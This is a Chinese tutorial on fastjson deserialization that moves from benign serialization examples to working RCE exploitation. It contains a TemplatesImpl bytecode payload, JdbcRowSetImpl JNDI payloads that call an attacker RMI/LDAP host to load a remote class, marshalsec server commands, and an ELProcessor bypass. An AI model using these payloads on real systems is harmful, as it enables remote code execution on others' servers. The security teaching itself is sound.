溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

怎么從零開(kāi)始學(xué)習(xí)fastjson反序列化

發(fā)布時(shí)間:2021-12-14 10:03:13 來(lái)源:億速云 閱讀:240 作者:柒染 欄目:安全技術(shù)

這期內(nèi)容當(dāng)中小編將會(huì)給大家?guī)?lái)有關(guān)怎么從零開(kāi)始學(xué)習(xí)fastjson反序列化,文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

fastjson使用簡(jiǎn)介

fastjson項(xiàng)目地址:https://github.com/alibaba/fastjson

用來(lái)實(shí)現(xiàn)Java POJO對(duì)象與JSON字符串的相互轉(zhuǎn)換,比如:

User user = new User();
user.setUserName("李四");
user.setAge(24);   
String userJson = JSON.toJSONString(user);

輸出結(jié)果:

{"age":24,"userName":"李四"}

以上將對(duì)象轉(zhuǎn)換為JSON字符串的操作為序列化,將JSON字符串實(shí)例化成Java POJO對(duì)象的操作即稱為反序列化。

Java反序列化機(jī)制

JDK提供了API可以將Java對(duì)象轉(zhuǎn)換為字節(jié)序列保存在磁盤(pán)或網(wǎng)絡(luò)傳輸,接收方可以把字節(jié)序列再恢復(fù)為Java對(duì)象。

Serializable接口

定義User類(lèi)實(shí)現(xiàn)Serializable接口

public class User implements Serializable {
private static final long serialVersionUID = 1L;
private String name;
    private String sex;
    public String getName() {
        return name;
    }
    public String getSex() {
        return sex;
    }
    public void setName(String name) {
        this.name = name;
    }
    public void setSex(String sex) {
        this.sex = sex;
    }

    private void readObject(ObjectInputStream s) throws ClassNotFoundException, IOException {
          System.out.println("User readObject");
         s.defaultReadObject();
    }

    private void writeObject(ObjectOutputStream s)throws java.io.IOException{
          System.out.println("User writeObject");
          s.defaultWriteObject();
    }

    private Object readResolve() {
          System.out.println("User readResolve");
         return this;
    }
}

Serializable接口沒(méi)有任何需要實(shí)現(xiàn)的方法,它僅僅是個(gè)標(biāo)識(shí)。一個(gè)類(lèi)的對(duì)象需要被序列化,必須實(shí)現(xiàn)Serializable接口,如果不實(shí)現(xiàn)會(huì)拋出異常java.io.NotSerializableException。

也可以實(shí)現(xiàn)Externalizable接口,Externalizable接口繼承自Serializable接口,并且抽象方法writeExternal和readExternal分別對(duì)應(yīng)Serializable接口約定的writeObject和readObject方法。

public interface Externalizable extends java.io.Serializable {
    /**
     * by calling the methods of DataOutput for its primitive values or
     * calling the writeObject method of ObjectOutput for objects, strings, and arrays.
     */
    void writeExternal(ObjectOutput out) throws IOException;

    /**
     * The object implements the readExternal method to restore its
     * contents by calling the methods of DataInput for primitive
     * types and readObject for objects, strings and arrays.  The
     * readExternal method must read the values in the same sequence
     * and with the same types as were written by writeExternal.
     */
    void readExternal(ObjectInput in) throws IOException, ClassNotFoundException;
}

ObjectInputStream和ObjectOutputStream

使用工具類(lèi) ObjectInputStream 和ObjectOutputStream 兩個(gè)IO類(lèi)

User user = new User();
user.setName("李四");
user.setSex("M");
ObjectOutputStream oo = new ObjectOutputStream(new FileOutputStream(new File("User.txt")));
oo.writeObject(user);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(new File("User.txt")));
User user1 = (User) ois.readObject();
System.out.println(user1.getName() + ":" + user1.getSex());

序列化需要調(diào)用ObjectOutputStream的writeObject方法,反序列化需要調(diào)用ObjectInputStream的readObject方法。

輸出結(jié)果

User writeObject
User readObject
User readResolve
李四:M

從結(jié)果來(lái)看比較神奇的是writeObject、readObject和readResolve聲明為私有卻被調(diào)用了,這是一種約定。

如果目標(biāo)類(lèi)中沒(méi)有定義私有的writeObject或readObject方法,那么序列化和反序列化的時(shí)候?qū)⒄{(diào)用默認(rèn)的方法來(lái)根據(jù)目標(biāo)類(lèi)中的屬性(不包含transient修飾的屬性以及static變量)來(lái)進(jìn)行序列化和反序列化。

如果目標(biāo)類(lèi)中定義了私有的writeObject或readObject方法,那么序列化和反序列化的時(shí)候?qū)⑼ㄟ^(guò)反射調(diào)用目標(biāo)類(lèi)指定的writeObject或readObject方法來(lái)實(shí)現(xiàn),比如將static變量也加入到序列化中。

至于readResolve同樣也是通過(guò)反射調(diào)用的。從內(nèi)存中反序列化地"組裝"一個(gè)新對(duì)象時(shí),就會(huì)自動(dòng)調(diào)用這個(gè) readResolve方法來(lái)返回指定好的對(duì)象。從上面結(jié)果可以看到它是在readObject之后調(diào)用的,因此readResolve可以最終修改反序列化得到的對(duì)象。此種設(shè)計(jì)通常用來(lái)保證單例規(guī)則,防止序列化導(dǎo)致生成第二個(gè)對(duì)象的問(wèn)題。如:

public final class MySingleton implements Serializable{
    private MySingleton() { }
    private static final MySingleton INSTANCE = new MySingleton();
    public static MySingleton getInstance() { return INSTANCE; }
    private Object readResolve() throws ObjectStreamException {
       // instead of the object we're on,
       // return the class variable INSTANCE
      return INSTANCE;
   }
}

fastjson反序列化機(jī)制

Case 1

標(biāo)準(zhǔn)POJO類(lèi)定義如下,有userName和age兩個(gè)屬性。

public class User {
         private int age;
         private String userName;
public User() {
             System.out.println("User construct");
}
         public String getUserName() {
                  System.out.println("getUserName");
                  return userName;
         }
         public void setUserName(String userName) {
                  System.out.println("setUserName:" + userName);
                  this.userName = userName;
         }
         public int getAge() {
                  System.out.println("getAge");
                  return age;
         }
         public void setAge(int age) {
                  System.out.println("setAge:" + age);
                  this.age = age;
         }
}

執(zhí)行反序列化

String jsonstr = "{\"age\":24,\"userName\":\"李四\"}";
try {
         JSON.parseObject(jsonstr, User.class);
}catch (Exception e) {
         System.out.println(e.getMessage());
}

輸出結(jié)果:

User construct
setAge:24
setUserName:李四

以上結(jié)果證明,fastjson在反序列化時(shí)會(huì)調(diào)用setter方法。

Case 2

public class User {
         public int age;
         public String userName;
         public User() {
                  System.out.println("User construct");
         }
}

執(zhí)行反序列化

String jsonstr = "{\"age\":24,\"userName\":\"李四\"}";
try {
         User user = JSON.parseObject(jsonstr, User.class);
         System.out.println("age:" + user.age);
         System.out.println("userName:" + user.userName);
}catch (Exception e) {
         System.out.println(e.getMessage());
}

輸出結(jié)果:

User construct
age:24
userName:李四

對(duì)于沒(méi)有setter的可見(jiàn)Filed,fastjson會(huì)正確賦值。

Case 3

將Field userName改為私有,不提供setter

public class User {
         public int age;
         private String userName;
         public User() {
                  System.out.println("User construct");
         }
         public String getUserName() {
                  return userName;
         }
}

執(zhí)行反序列化

String jsonstr = "{\"age\":24,\"userName\":\"李四\"}";
try {
         User user = JSON.parseObject(jsonstr, User.class);
         System.out.println("age:" + user.age);
         System.out.println("userName:" + user.getUserName());
}catch (Exception e) {
         System.out.println(e.getMessage());
}

輸出結(jié)果:

User construct
age:24
userName:null

以上說(shuō)明對(duì)于不可見(jiàn)Field且未提供setter方法,fastjson默認(rèn)不會(huì)賦值。

將反序列化代碼修改為如下:

String jsonstr = "{\"age\":24,\"userName\":\"李四\"}";
try {
         User user = JSON.parseObject(jsonstr, User.class, Feature.SupportNonPublicField);
         System.out.println("age:" + user.age);
         System.out.println("userName:" + user.getUserName());
}catch (Exception e) {
         System.out.println(e.getMessage());
}

輸出結(jié)果:

User construct
age:24
userName:李四

對(duì)于未提供setter的私有Field,fastjson在反序列化時(shí)需要顯式提供參數(shù)

Feature.SupportNonPublicField才會(huì)正確賦值。

漏洞原理

fastjson支持使用@type指定反序列化的目標(biāo)類(lèi),如下演示:

public class User {
         private int age;
         private String userName;
         public User() {
                  System.out.println("User construct");
         }
         public String getUserName() {
                  System.out.println("getUserName");
                  return userName;
         }
         public void setUserName(String userName) {
                  System.out.println("setUserName:" + userName);
                  this.userName = userName;
         }
         public int getAge() {
                  System.out.println("getAge");
                  return age;
         }
         public void setAge(int age) {
                  System.out.println("setAge:" + age);
                  this.age = age;
         }
}

執(zhí)行反序列化

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonstr = "{\"@type\":\"test_fastjson.User\", \"age\":24,\"userName\":\"李四\"}";
try {
          JSON.parseObject(jsonstr);
}catch (Exception e) {
         System.out.println(e.getMessage());
}

輸出結(jié)果:

User construct
setAge:24
setUserName:李四
getAge
getUserName

JSON字符串@type的值test_fastjson.User指定了要將此JSON字符串實(shí)例化為User對(duì)象,在此過(guò)程中fastjson不僅調(diào)用了setter也調(diào)用了getter。

假設(shè)代碼存在Evil類(lèi):

public class Evil {
static {
        System.err.println("Pwned");
        try {
                String[] cmd = {"calc"};
                java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        } catch ( Exception e ) {
                e.printStackTrace();
        }
}
}

執(zhí)行反序列化

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String jsonstr = "{\"@type\":\"test_fastjson.Evil\", \"age\":24,\"userName\":\"李四\"}";
try {
 JSON.parseObject(jsonstr);
}catch (Exception e) {
System.out.println(e.getMessage());
}

輸出結(jié)果:

Pwned

怎么從零開(kāi)始學(xué)習(xí)fastjson反序列化

漏洞利用

正常代碼中很難找到像Evil這種代碼,攻擊者要想辦法通過(guò)現(xiàn)有的POJO類(lèi)讓JVM加載構(gòu)造的惡意類(lèi),整個(gè)過(guò)程有點(diǎn)類(lèi)似二進(jìn)制攻擊中的ROP技巧:先繞過(guò)fastjson的防御產(chǎn)生反序列化攻擊,再通過(guò)中間的POJO類(lèi)完成攻擊鏈,這些POJO類(lèi)即被稱為Gadget。

下文先假定fastjson的版本和使用方式已存在反序列化漏洞,先來(lái)分析一下常見(jiàn)的Gadget。

Gadgets種類(lèi)

目標(biāo)類(lèi)本身又存在反序列化邏輯

該種類(lèi)以com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl為例,詳細(xì)的TemplatesImpl分析請(qǐng)參考

https://www.cnblogs.com/tr1ple/p/12201553.html?utm_source=tuicool

TemplatesImpl類(lèi)本身存在代碼邏輯,會(huì)將成員變量_bytecodes的數(shù)據(jù)作為類(lèi)的字節(jié)碼進(jìn)行反序列化。

利用fastjson反序列化后會(huì)調(diào)用屬性outputProperties的getter,完成如下調(diào)用鏈:

TemplatesImpl.getOutputProperties()
   TemplatesImpl.newTransformer()
      TemplatesImpl.getTransletInstance()
         TemplatesImpl.defineTransletClasses()
            ClassLoader.defineClass()
               Class.newInstance()
                  ...
                     MaliciousClass.<clinit>()

并且該MaliciousClass必須是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的子類(lèi)。

定義MaliciousClass如下

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet{
static {
            System.err.println("Pwned");
            try {
                String[] cmd = {"calc"};
                java.lang.Runtime.getRuntime().exec(cmd).waitFor();
            } catch ( Exception e ) {
                e.printStackTrace();
            }
         }

         @Override
         public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
                  // TODO Auto-generated method stub
         }

         @Override
         public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
                  // TODO Auto-generated method stub
         }
}

編譯生成Evil.class,將字節(jié)碼讀出并用base64加密,作為_(kāi)bytecodes。構(gòu)造如下JSON字符串。

{
  "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes" : ["yv66vgAAADQAPQoADQAcCQAdAB4IAB8KACAAIQcAIggAIwoAJAAlCgAkACYKACcAKAcAKQoACgAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwApAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwADgAPBwAuDAAvADABAAVQd25lZAcAMQwAMgAzAQAQamF2YS9sYW5nL1N0cmluZwEABGNhbGMHADQMADUANgwANwA4BwA5DAA6ADsBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAA8AA8BABJ0ZXN0X2Zhc3Rqc29uL0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA2VycgEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEAB3dhaXRGb3IBAAMoKUkBAA9wcmludFN0YWNrVHJhY2UAIQAMAA0AAAAAAAQAAQAOAA8AAQAQAAAAHQABAAEAAAAFKrcAAbEAAAABABEAAAAGAAEAAAAJAAEAEgATAAIAEAAAABkAAAADAAAAAbEAAAABABEAAAAGAAEAAAAXABQAAAAEAAEAFQABABIAFgACABAAAAAZAAAABAAAAAGxAAAAAQARAAAABgABAAAAHAAUAAAABAABABUACAAXAA8AAQAQAAAAawAEAAEAAAAmsgACEgO2AAQEvQAFWQMSBlNLuAAHKrYACLYACVenAAhLKrYAC7EAAQAIAB0AIAAKAAIAEQAAAB4ABwAAAAsACAANABIADgAdABEAIAAPACEAEAAlABIAGAAAAAcAAmAHABkEAAEAGgAAAAIAGw"],
  "_name" : "a",
  "_tfactory" : {},
  "outputProperties" : {}
}

以fastjson 1.2.24為例,執(zhí)行反序列化

try {
         JSON.parseObject(jsonstr, Object.class, Feature.SupportNonPublicField);
}catch (Exception e) {
         System.out.println(e.getMessage());
}

輸出結(jié)果:

Pwned

set property error, outputProperties

怎么從零開(kāi)始學(xué)習(xí)fastjson反序列化

_bytecodes是私有屬性,_name也是私有域,所以在parseObject的時(shí)候需要設(shè)置Feature.SupportNonPublicField,這樣_bytecodes字段才會(huì)被反序列化,所以此gadget的利用條件比較苛刻,思路值得借鑒。

_tfactory這個(gè)字段在TemplatesImpl既沒(méi)有g(shù)et方法也沒(méi)有set方法,這沒(méi)關(guān)系,我們?cè)O(shè)置_tfactory為{ },fastjson會(huì)調(diào)用其無(wú)參構(gòu)造函數(shù)得_tfactory對(duì)象,這樣就解決了某些版本中在defineTransletClasses()用到會(huì)引用_tfactory屬性導(dǎo)致異常退出。

JNDI注入

反序列化Gadget主流都是使用JNDI,現(xiàn)階段都是在利用根據(jù)JNDI特征自動(dòng)化挖掘Gadget。JNDI采取什么樣的方式注入以及能否注入成功和JDK的版本有關(guān),因?yàn)镴DK為了阻止反序列化攻擊也實(shí)施了相應(yīng)的緩解措施。

簡(jiǎn)單來(lái)說(shuō),JNDI (Java Naming and Directory Interface) 是一組應(yīng)用程序接口,它為開(kāi)發(fā)人員查找和訪問(wèn)各種資源提供了統(tǒng)一的通用接口,可以用來(lái)定位用戶、網(wǎng)絡(luò)、機(jī)器、對(duì)象和服務(wù)等各種資源。比如可以利用JNDI在局域網(wǎng)上定位一臺(tái)打印機(jī),也可以用JNDI來(lái)定位數(shù)據(jù)庫(kù)服務(wù)或一個(gè)遠(yuǎn)程Java對(duì)象。JNDI底層支持RMI遠(yuǎn)程對(duì)象,RMI注冊(cè)的服務(wù)可以通過(guò)JNDI接口來(lái)訪問(wèn)和調(diào)用。

JNDI支持多種命名和目錄提供程序(Naming and Directory Providers),RMI注冊(cè)表服務(wù)提供程序(RMI Registry Service Provider)允許通過(guò)JNDI應(yīng)用接口對(duì)RMI中注冊(cè)的遠(yuǎn)程對(duì)象進(jìn)行訪問(wèn)操作。將RMI服務(wù)綁定到JNDI的一個(gè)好處是更加透明、統(tǒng)一和松散耦合,RMI客戶端直接通過(guò)URL來(lái)定位一個(gè)遠(yuǎn)程對(duì)象,而且該RMI服務(wù)可以和包含人員,組織和網(wǎng)絡(luò)資源等信息的企業(yè)目錄鏈接在一起。

在JNDI服務(wù)中,RMI服務(wù)端除了直接綁定遠(yuǎn)程對(duì)象之外,還可以通過(guò)References類(lèi)來(lái)綁定一個(gè)外部的遠(yuǎn)程對(duì)象(當(dāng)前名稱目錄系統(tǒng)之外的對(duì)象)。綁定了Reference之后,服務(wù)端會(huì)先通過(guò)Referenceable.getReference()獲取綁定對(duì)象的引用,并且在目錄中保存。當(dāng)客戶端在lookup()查找這個(gè)遠(yuǎn)程對(duì)象時(shí),客戶端會(huì)獲取相應(yīng)的object factory,最終通過(guò)factory類(lèi)將reference轉(zhuǎn)換為具體的對(duì)象實(shí)例。

下文以com.sun.rowset.JdbcRowSetImpl為例說(shuō)明。根據(jù)FastJson反序列化漏洞原理,F(xiàn)astJson將JSON字符串反序列化到指定的Java類(lèi)時(shí),會(huì)調(diào)用目標(biāo)類(lèi)的getter、setter等方法。JdbcRowSetImpl類(lèi)的setAutoCommit()會(huì)調(diào)用connect()函數(shù),connect()函數(shù)如下:

private Connection connect() throws SQLException {
        if(this.conn != null) {
            return this.conn;
        } else if(this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null;
        }
    }

connect()會(huì)調(diào)用InitialContext.lookup(dataSourceName),這里的參數(shù)dataSourceName是在setter方法setDataSourceName(String name)中設(shè)置的。所以在FastJson反序列化漏洞過(guò)程中,我們可以控制dataSourceName的值,也就是說(shuō)滿足了JNDI注入利用的條件。

JNDI注入利用流程如下:

1、目標(biāo)代碼中調(diào)用了InitialContext.lookup(URI),且URI為用戶可控;

2、攻擊者控制URI參數(shù)為惡意的RMI服務(wù)地址,如:rmi://hacker_rmi_server//name;

3、攻擊者RMI服務(wù)器向目標(biāo)返回一個(gè)Reference對(duì)象,Reference對(duì)象中指定某個(gè)精心構(gòu)造的Factory類(lèi);

4、目標(biāo)在進(jìn)行l(wèi)ookup()操作時(shí),會(huì)動(dòng)態(tài)加載并實(shí)例化Factory類(lèi),接著調(diào)用factory.getObjectInstance()獲取外部遠(yuǎn)程對(duì)象實(shí)例;

5、攻擊者可以在Factory類(lèi)文件的構(gòu)造方法、靜態(tài)代碼塊、getObjectInstance()方法等處寫(xiě)入惡意代碼,達(dá)到RCE的效果;

在這里,攻擊目標(biāo)扮演的相當(dāng)于是JNDI客戶端的角色,攻擊者通過(guò)搭建一個(gè)惡意的RMI服務(wù)端來(lái)實(shí)施攻擊。

可使用https://github.com/mbechler/marshalsec快速開(kāi)啟RMI/LDAP服務(wù)。

編譯惡意類(lèi)

public class Exploit {
static {
        System.err.println("Pwned");
        try {
                String[] cmd = {"calc"};
                java.lang.Runtime.getRuntime().exec(cmd).waitFor();
        } catch ( Exception e ) {
                e.printStackTrace();
        }
}
}

得到Exploit.class,部署在HTTP服務(wù)上,通過(guò)http://ip:port/Exploit.class可訪問(wèn)下載。

下文代碼都以fastjson1.2.24版本為例。**可將惡意類(lèi)部署有RMI和LDAP兩種方式。

1、RMI

JDK 6u132, JDK 7u122, JDK 8u113之前可用。

攻擊者通過(guò)RMI服務(wù)返回一個(gè)JNDI Naming Reference,受害者解碼Reference時(shí)會(huì)去我們指定的Codebase遠(yuǎn)程地址加載Factory類(lèi),但是原理上并非使用RMI Class Loading機(jī)制的,因此不受 java.rmi.server.useCodebaseOnly 系統(tǒng)屬性的限制,相對(duì)來(lái)說(shuō)更加通用。

但是在JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服務(wù)中JNDI Reference遠(yuǎn)程加載Object Factory類(lèi)的特性。系統(tǒng)屬性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默認(rèn)值變?yōu)閒alse,即默認(rèn)不允許從遠(yuǎn)程的Codebase加載Reference工廠類(lèi)。如果需要開(kāi)啟 RMI Registry 或者 COS Naming Service Provider的遠(yuǎn)程類(lèi)加載功能,需要將前面說(shuō)的兩個(gè)屬性值設(shè)置為true。

啟動(dòng)RMI服務(wù):

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://192.168.50.131:8000/#Exploit 9999

#后面是類(lèi)名,最后參數(shù)是RMI服務(wù)監(jiān)聽(tīng)端口

執(zhí)行反序列化

String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://192.168.50.131:9999/Exploit\",\"autoCommit\":true}";
try {
System.out.println(payload);
JSON.parseObject(payload);
} catch (Exception e) {
System.out.println(e.getMessage());
}

輸出結(jié)果同上,彈出計(jì)算器。

2、LDAP

JDK 11.0.1、8u191、7u201、6u211之前可用。

除了RMI服務(wù)之外,JNDI還可以對(duì)接LDAP服務(wù),LDAP也能返回JNDI Reference對(duì)象,利用過(guò)程與上面RMI Reference基本一致,只是lookup()中的URL為一個(gè)LDAP地址:ldap://xxx/xxx,由攻擊者控制的LDAP服務(wù)端返回一個(gè)惡意的JNDI Reference對(duì)象。并且LDAP服務(wù)的Reference遠(yuǎn)程加載Factory類(lèi)不受上一點(diǎn)中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等屬性的限制,所以適用范圍更廣。

不過(guò)在2018年10月,Java最終也修復(fù)了這個(gè)利用點(diǎn),對(duì)LDAP Reference遠(yuǎn)程工廠類(lèi)的加載增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 屬性的默認(rèn)值被調(diào)整為false。

啟動(dòng)LDAP服務(wù):

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.50.131:8000/#Exploit 9999

執(zhí)行反序列化

String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.50.131:9999/Exploit\",\"autoCommit\":true}";
try {
System.out.println(payload);
JSON.parseObject(payload);
} catch (Exception e) {
System.out.println(e.getMessage());
}

輸出結(jié)果同上,彈出計(jì)算器。

更高版本JDK

更高版本的JDK做了安全限制,想執(zhí)行任意代碼沒(méi)有那么簡(jiǎn)單了。

源碼參考https://github.com/kxcode/JNDI-Exploit-Bypass-Demo

利用本地Class作為Reference Factory

在高版本中(如:JDK8u191以上版本)雖然不能從遠(yuǎn)程加載惡意的Factory,但是我們依然可以在返回的Reference中指定Factory Class,這個(gè)工廠類(lèi)必須在受害目標(biāo)本地的CLASSPATH中。工廠類(lèi)必須實(shí)現(xiàn) javax.naming.spi.ObjectFactory 接口,并且至少存在一個(gè) getObjectInstance() 方法。org.apache.naming.factory.BeanFactory 剛好滿足條件并且存在被利用的可能。org.apache.naming.factory.BeanFactory 存在于Tomcat依賴包中,所以使用也是非常廣泛。

org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中會(huì)通過(guò)反射的方式實(shí)例化Reference所指向的任意Bean Class,并且會(huì)調(diào)用setter方法為所有的屬性賦值。而該Bean Class的類(lèi)名、屬性、屬性值,全都來(lái)自于Reference對(duì)象,均是攻擊者可控的。

這個(gè)情況下,目標(biāo)Bean Class必須有一個(gè)無(wú)參構(gòu)造方法,有public的setter方法且參數(shù)為一個(gè)String類(lèi)型。事實(shí)上,這些setter不一定需要是set..開(kāi)頭的方法,根據(jù)org.apache.naming.factory.BeanFactory中的邏輯,我們可以把某個(gè)方法強(qiáng)制指定為setter。

這里,我們找到了javax.el.ELProcessor可以作為目標(biāo)Class。啟動(dòng)RMI Server的利用代碼如下:

public static void lanuchRMIregister(Integer rmi_port) throws Exception {
         System.out.println("Creating RMI Registry, RMI Port:"+rmi_port);
         Registry registry = LocateRegistry.createRegistry(rmi_port);
         /** Payload2: Exploit with JNDI Reference with local factory Class **/
         ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
         //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
         ref.add(new StringRefAddr("forceString", "KINGX=eval"));
         //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
         ref.add(new StringRefAddr("KINGX", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
         /** Payload2 end **/
         ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
         registry.bind("Exploit", referenceWrapper);
         System.out.println(referenceWrapper.getReference());
}

"forceString"可以給屬性強(qiáng)制指定一個(gè)setter方法,這里我們將屬性"KINGX"的setter方法設(shè)置為 ELProcessor.eval() 方法。ResourceRef 中加上元素"KINGX",賦值為需要執(zhí)行的惡意代碼。最后調(diào)用setter就變成了執(zhí)行如下代碼:

ELProcessor.eval(\"\".getClass().forName("javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\"))

ELProcessor.eval()會(huì)對(duì)EL表達(dá)式進(jìn)行求值,最終達(dá)到命令執(zhí)行的效果。

這種繞過(guò)方式需要目標(biāo)環(huán)境中存在Tomcat相關(guān)依賴,當(dāng)然其他Java Server可能也存在可被利用的Factory類(lèi),可以進(jìn)一步研究。

<dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-catalina</artifactId><version>9.0.20</version>
</dependency>
<dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-jasper</artifactId><version>9.0.20</version>
</dependency>

利用LDAP返回序列化數(shù)據(jù),觸發(fā)本地Gadget

Java對(duì)象在LDAP目錄中也有多種存儲(chǔ)形式:

Java序列化

JNDI Reference

Marshalled對(duì)象

Remote Location (已棄用)

LDAP可以為存儲(chǔ)的Java對(duì)象指定多種屬性:

javaCodeBase

objectClass

javaFactory

javaSerializedData

javaCodebase 屬性可以指定遠(yuǎn)程的URL,這樣黑客可以控制反序列化中的class,通過(guò)JNDI Reference的方式進(jìn)行利用,即上文描述的方式,高版本JDK已經(jīng)默認(rèn)不允許。LDAP Server除了使用JNDI Reference進(jìn)行利用之外,還支持直接返回一個(gè)對(duì)象的序列化數(shù)據(jù),客戶端反序列化時(shí)實(shí)現(xiàn)RCE。

下面以Apache Commons Collections包為例分析,這就要求執(zhí)行環(huán)境中有安裝部署此包。

Apache Commons Collections中提供了一個(gè)Transformer類(lèi),功能就是將一個(gè)對(duì)象轉(zhuǎn)換為另外一個(gè)對(duì)象。漏洞利用時(shí)主要用到如下3個(gè)類(lèi):

1、InvokeTransformer

Transformer implementation that creates a new object instance by reflection.(通過(guò)反射,返回一個(gè)對(duì)象)

2、ChainedTransformer

Transformer implementation that chains the specified transformers together.(把transformer連接成一條鏈,對(duì)一個(gè)對(duì)象依次通過(guò)鏈條內(nèi)的每一個(gè)transformer進(jìn)行轉(zhuǎn)換)

3、ConstantTransformer

Transformer implementation that returns the same constant each time.(把一個(gè)對(duì)象轉(zhuǎn)化為常量,并返回)

InvokeTransformer

InvokeTransformer可通過(guò)反射的方式進(jìn)行函數(shù)調(diào)用:

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{new String("calc")});
invokerTransformer.transform(Runtime.getRuntime());

那么接下來(lái)要尋找辦法來(lái)調(diào)用transform。

ConstantTransformer

ConstantTransformer的transform方法直接返回構(gòu)造方法的參數(shù)。如:

new ConstantTransformer(Runtime.class)

ChainedTransformer

ChainedTransformer的transform方法會(huì)遍歷Transformer數(shù)組中元素并執(zhí)行其各自的transform方法:

public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
}

那么現(xiàn)在只需要執(zhí)行chainedTransformer的transform方法就可以彈出計(jì)算器了:

Transformer[] transformers = new Transformer[]{
          new ConstantTransformer(Runtime.class),
          new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
          new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
          new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);

